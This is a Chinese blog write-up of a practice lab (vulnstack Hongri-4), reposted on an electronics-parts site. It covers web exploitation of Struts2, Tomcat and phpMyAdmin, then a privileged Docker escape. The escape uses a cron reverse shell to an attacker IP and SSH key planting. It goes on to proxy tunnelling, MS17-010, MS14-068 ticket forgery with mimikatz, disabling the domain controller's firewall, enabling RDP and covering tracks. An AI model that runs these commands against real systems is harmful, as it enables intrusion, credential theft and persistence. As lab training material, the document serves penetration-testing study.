资讯详情

vulnstack红日-4

额...这次有点难,有些地方根据自己以前的固定思路遇到了更多的问题  但是还可以。我学到了很多。还有很多东西要复习。你可以试试  链接:https://pan.baidu.com/s/1QxpyjtGsygmyMvpoGWgYlw  提取码:7uiq 

环境搭建

在这里插入图片描述

cd /home/ubuntu/Desktop/vulhub/struts/s2-045 docker-compose up -d cd ../../tomcat/CVE-2017-12615 cd ../../phpmyadmin/CVE-2018-12613  Struts2/s2-045 CVE-2017-12615(tomcat put任意写) CVE-2018-12613(phpmyadmin文件包含) 

下面开始

收集简单信息

2001 jetty 2002 tomcat 2003 apache 一个个打开看 2001 Struts框架 2002 Tomcat中间件 2003 phpmyadmin,或者空密码登录 先从phpmyadmin本版本包含远程文件 日志包含 可以执行,那就直接写马吧 成功getshell,再回去看Struts,这个直接工具扫一下就知道了,传个jsp马就行 Tomcat 是存在PUT随意写文件,也写文件jsp马结束 session交给MSF,这里有一个小插曲,几乎给了我信心 我还是想直接弹回来。我试了好几次payload不弹,尴尬,老老实实传后门弹session吧 chmod x ma.elf 执行就有了

docker逃逸

因为这是开始的docker环境,所以下面是docker逃逸了

这里真的很尴尬,因为我记得有一个poc可直接使用,结果一打,docker没出来,容器崩了

错误示范:cve-2019-5736,呜呜呜 \n 以下是我们的命令,然后注释上面未使用的部分,Go删除无用的特性,否则报错

go build main.go 将编译好的文件到docker下 现在模拟宿主机进入docker,再次尴尬,不知道问题出在哪里,反正没弹回来,原来docker容器也坏了

其实这种方式使用的条件比较苛刻,需要有人在宿主机执行。exec命令进入当前docker环境 如果宿主机没有人执行,就无法执行docker逃逸的 

以下是正确示范。呜呜呜呜呜呜 看了几篇关于docker逃跑的文章,回来试试

当管理员执行时docker run —privileged时,Docker允许访问主机上所有设备的容器,并可以执行mount命令挂载 使用特权模式启动容器可以获得大量设备文件的访问权限 

挂载到/paidx0 ,此时宿主机文件可以任意操作。

写一个计划任务弹shell echo '* * * * * bash -i >& /dev/tcp/192.168.118.128/8888 0>&1' >> /paidx0/var/spool/cron/root 

又尴尬了,没有反应,想拿个sesson真难 尝试去修改宿主机的ssh秘钥,本地生成秘钥,直接留空密码就行一路回车

拷贝一份秘钥
cp -avx /paidx0/home/ubuntu/.ssh/id_rsa.pub /paidx0/home/ubuntu/.ssh/authorized_keys

再把我们自己生成的秘钥给他替换掉
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzme7s92LMBjQHvkdbcMqYnQLvWMCJ5YaGJpAstkzuPukBPN0pWjrHHvWcJRft4ils6vJEyct+JgEMj0XEx5aZjVngI+T8vdmX1bwM72KVW0J8maCuzUxQmEO5t4rd+oV1CEprDz215QovELeGcGTbbBb/tBIf1V4wILuxwfbSrZFOn4qW7a1ktWwwrRP/FilVKy+4pseX2Ee/G2s9RQWzO6T2+wuGkClPfLV8eJFfUJqqG8bYJaqYCbK4yPj8FdEQ5Ra+1ickY/uPhrx1vwVdOTnhhePFq+bIMuIfgPXuORf5lXAGYvGn33vMvUNy9GqPSlQ+P8JJx8RehA4o9ij8vaIQ1ZvR4LpZtpJ/LHlIA60lohzyfQeGNYxjQuwEMN2z6/15hekJ7josGuU2LTPrVqF/8GNMrGSRL5mtTjxFZCSrXOHGzr1dJOno0dLB5P50dMkIrtl/OWQ06vuTJF5GOH4D/Vch8+oM3YkN6dOLkRKvYhtPT8cpPLZgWuC1le0= kali@kali' > /paidx0/home/ubuntu/.ssh/authorized_keys

我们的秘钥确实是写进ubuntu了,可以免密直接ssh了 ssh -i hack ubuntu@192.168.118.132

内网隧道

开始内网咯,先是常规的搭建一下内网隧道,方便扩大攻击面 宿主机上没有别的环境,就一个python2,所以Neo是用不了,这次用EW

传到宿主机上,启动服务
通过访问宿主机1080端口提供的代理服务访问内网
所以还要修改下这个/etc/proxychains4.conf
nohup ./ew_for_linux64 -s ssocksd -l 1080 &

隧道搭建完毕
直接上fscan,进内网就简单了
(icmp) Target 192.168.93.131  is alive
(icmp) Target 192.168.93.130  is alive
(icmp) Target 192.168.93.132  is alive
192.168.93.130:139 open
192.168.93.131:139 open
192.168.93.131:445 open
192.168.93.131:88 open
192.168.93.130:445 open
192.168.93.130:135 open
192.168.93.131:135 open
192.168.93.132:22 open
[*]192.168.93.130
   [->]TESTWIN7-PC
   [->]192.168.93.130
[+] NetInfo:
[*]192.168.93.131
   [->]WIN-ENS2VR5TR3N
   [->]192.168.93.131
[*] 192.168.93.131 [+]DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.93.131      MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.93.130      MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.93.130       __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1
好像存在永恒之蓝,试试
额,确实存在ms17-010,但是直接打没打通

又试试设置MSF的流量从ubuntu走
Setg Proxies socks5:192.168.118.132:1080
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate

还是没通,郁闷了一下午,讲道理不应该啊
晚上又回来看了看,看了下别的师傅打的记录,这里他们还传了chisel 上去,说是直接打的话ms17-010很不稳定

./chisel server -p 2333 --socks5
./chisel client 192.168.118.132:2333 socks

横向域控

再试试就通了,win7 session到手,下面是开始拿域控了 桌面上有mimikatz,拿来试试,行吧只抓到了win7这台机子 桌面上还有个ms14-068,先去看看这个怎么用

如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。

漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。

如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。

该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,

而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

使用挺简单的,那几个东西用mimikatz就都可以抓到

我们现在手上有win7这台机子的

ms14-068.exe  -u 域成员@域名  -s 域成员的sid  -d  域控制器的ip  -p 域成员密码

Ms14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.93.131 -p Dotest123

目录下生成这么一个票据 TGT_douser@DEMO.COM.ccache

Dir \\WIN-ENS2VR5TR3N\C$	//查看域控制器的C盘
是乱码,我说一下什么意思,就是没权限嘛,哈哈哈

开始注入凭证

kerberos::purge        //清空当前机器中所有凭证
kerberos::list        //查看当前机器凭证列表
kerberos::ptc TGT_douser@DEMO.COM.ccache   //将票据注入到内存中

再试试查看域控制器的C盘 已经算是有了域控的基本权限了,传个马让MSF接管session

复制到域控机上,起个计划任务,静静等待session自己弹回来

At \\WIN-ENS2VR5TR3N 23:15:00 cmd.exe /c "c:\demo.exe"

尴尬了,没弹回来,难道是防火墙栏了

关掉防火墙去
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

再试一次计划任务 果然是防火墙,继续传个mimikatz上去抓域控的密码 开个3389,给他连上去

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 自己加个管理员用户进去啥的,最后记得删除痕迹和上传上来的东西,然后跑路,哈哈哈哈

总结一下嘛

好难好难好难,害,还是好几个地方卡住了,好菜啊呜呜呜

思路太死板了,就会那么几种常规方式,还够的学了

标签: jjx拉绳位移传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台